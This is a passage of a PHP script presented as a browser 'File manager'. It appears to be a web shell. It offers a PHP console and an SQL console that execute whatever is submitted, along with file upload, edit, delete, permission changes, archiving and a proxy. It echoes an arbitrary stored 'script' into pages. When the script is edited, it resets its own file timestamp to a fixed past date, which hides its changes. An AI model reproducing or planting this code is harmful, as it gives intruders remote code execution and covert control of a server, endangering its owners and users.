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");
}
<?=fm_home_style()?>
.img {
background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
table{display:block;}
#fm_table td{display:inline;float:left;}
#fm_table tbody td:first-child{width:100%;padding:0;}
#fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
#fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
#fm_table tr{display:block;float:left;clear:left;width:100%;}
#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
$res = empty($_POST['sql']) ? '' : $_POST['sql'];
$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
$res = empty($_POST['php']) ? '' : $_POST['php'];
$res_lng = 'php';
}
if (isset($_GET['fm_settings'])) {
echo '
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
else echo '</h2></td><td>'.fm_run_input('sql');
?></td></tr></table></td>
</tr>
<tr>
<td class="row1">
<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
<form action="" method="POST" name="console">
<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
<input type="reset" value="<?=__('Reset')?>">
<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
$select .= '<option value="-1">' . __('Select') . "</option>\n";
foreach ($tmpl as $key=>$value){
$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
}
$select .= "</select>\n";
echo $select;
}
?>
</form>
</td>
</tr>
</table>
<?php
if (!empty($res)) {
$fun='fm_'.$res_lng;
echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
}
} elseif (!empty($_REQUEST['edit'])){
if(!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
else $msg .= __('Error occurred');
if ($_GET['edit']==basename(__FILE__)) {
touch(__FILE__,1415116371);
} else {
if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
<th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$editlink?>">
<textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
<input type="submit" name="save" value="<?=__('Submit')?>">
<input type="submit" name="cancel" value="<?=__('Cancel')?>">
</form>
</td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
if(!empty($_REQUEST['save'])) {
if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
$msg .= (__('File updated'));
else $msg .= (__('Error occurred'));
}
clearstatcache();
$oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
$link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
<input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
<?php } ?>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
$msg .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
$link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} else {
//Let's rock!
$msg = '';
if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
if(!empty($_FILES['upload']['name'])){
$_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
$msg .= __('Error occurred');
} else {
$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
}
}
} elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Deleted').' '.$_REQUEST['delete'];
}
} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Created').' '.$_REQUEST['dirname'];
}
} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
$msg .= __('Error occurred');
} else {
fclose($fp);
$msg .= __('Created').' '.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
else $msg .= __('Error occurred').': '.__('no files');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no files');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file = str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.',basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode('.',$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no files');
}
?>
<table class="whole" id="header_table" >
<tr>
<th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
<td class="row2">
<table>
<tr>
<td>
<?=fm_home()?>
</td>
<td>
<?php if(!empty($fm_config['make_directory'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="dirname" size="15">
<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
</form>
<?php } ?>
</td>
<td>
<?php if(!empty($fm_config['new_file'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="filename" size="15">
<input type="submit" name="mkfile" value="<?=__('New file')?>">
</form>
<?php } ?>
</td>
<td>
<?=fm_run_input('php')?>
</td>
<td>
<?=fm_run_input('sql')?>
</td>
</tr>
</table>
</td>
<td class="row3">
<table>
<tr>
<td>
<?php if (!empty($fm_config['upload_file'])) { ?>
<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
<input type="submit" name="test" value="<?=__('Upload')?>" />
</form>
<?php } ?>
</td>
<td>
<?php if ($auth['authorize']) { ?>
<form action="" method="post">
<input name="quit" type="hidden" value="1">
<?=__('Hello')?>, <?=$auth['login']?>
<input type="submit" value="<?=__('Quit')?>">
</form>
<?php } ?>
</td>
<td>
<?=fm_lang_form($language)?>
</td>
<tr>
</table>
</td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr>
<th style="white-space:nowrap"> <?=__('Filename')?> </th>
<th style="white-space:nowrap"> <?=__('Size')?> </th>
<th style="white-space:nowrap"> <?=__('Date')?> </th>
<th style="white-space:nowrap"> <?=__('Rights')?> </th>
<th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
if(@is_dir($path . $file)){
$dirs[] = $file;
} else {
$files[] = $file;
}
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);
foreach ($elements as $file){
$filename = $path . $file;
$filedata = @stat($filename);
if(@is_dir($filename)){
$filedata[7] = '';
if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
$link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>';
$loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file);
$arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file);
$style = 'row2';
if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = '';
} else {
$link =
$fm_config['show_img']&&@getimagesize($filename)
? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
. fm_img_link($filename)
.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>'
: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file);
$arlink = in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
}
$deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
$renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
$rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>">
<td><?=$link?></td>
<td><?=$filedata[7]?></td>
<td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
<td><?=$rightstext?></td>
<td><?=$deletelink?></td>
<td><?=$renamelink?></td>
<td><?=$loadlink?></td>
<td><?=$arlink?></td>
</tr>
<?php
}
}
?>
</tbody>
</table>
<div class="row3"><?php
$mtime = explode(' ', microtime());
$totaltime = $mtime[0] + $mtime[1] - $starttime;
echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/bayu123/blex">Github</a> | <a href="'.fm_site_url().'">.</a>';
if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
var element = document.createElement('a');
element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
element.setAttribute('download', filename);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
}
function base64_encode(m) {
for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
c = m.charCodeAt(l);
if (128 > c) d = 1;
else
for (d = 2; c >= 2 << 5 * d;) ++d;
for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
}
b && (g += k[f << 6 - b]);
return g
}
var tableToExcelData = (function() {
var uri = 'data:application/vnd.ms-excel;base64,',
template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
format = function(s, c) {
return s.replace(/{(\w+)}/g, function(m, p) {
return c[p];
})
}
return function(table, name) {
if (!table.nodeType) table = document.getElementById(table)
var ctx = {
worksheet: name || 'Worksheet',
table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
}
t = new Date();
filename = 'fm_' + t.toISOString() + '.xls'
download_xls(filename, base64_encode(format(template, ctx)))
}
})();
var table2Excel = function () {
var ua = window.navigator.userAgent;
var msie = ua.indexOf("MSIE ");
this.CreateExcelSheet =
function(el, name){
if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer
var x = document.getElementById(el).rows;
var xls = new ActiveXObject("Excel.Application");
xls.visible = true;
xls.Workbooks.Add
for (i = 0; i < x.length; i++) {
var y = x[i].cells;
for (j = 0; j < y.length; j++) {
xls.Cells(i + 1, j + 1).Value = y[j].innerText;
}
}
xls.Visible = true;
xls.UserControl = true;
return xls;
} else {
tableToExcelData(el, name);
}
}
}
</script>
</body>
</html>
<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
var $archive_name = '';
var $tmp_file = 0;
var $file_pos = 0;
var $isGzipped = true;
var $errors = array();
var $files = array();
function __construct(){
if (!isset($this->errors)) $this->errors = array();
}
function createArchive($file_list){
$result = false;
if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->openWrite()) return false;
} else {
if (filesize($this->archive_name) == 0) return $this->openWrite();
if ($this->isGzipped) {
$this->closeTmpFile();
if (!rename($this->archive_name, $this->archive_name.'.tmp')){
$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
if (!$tmpArchive){
$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
if (!$this->openWrite()){
rename($this->archive_name.'.tmp', $this->archive_name);
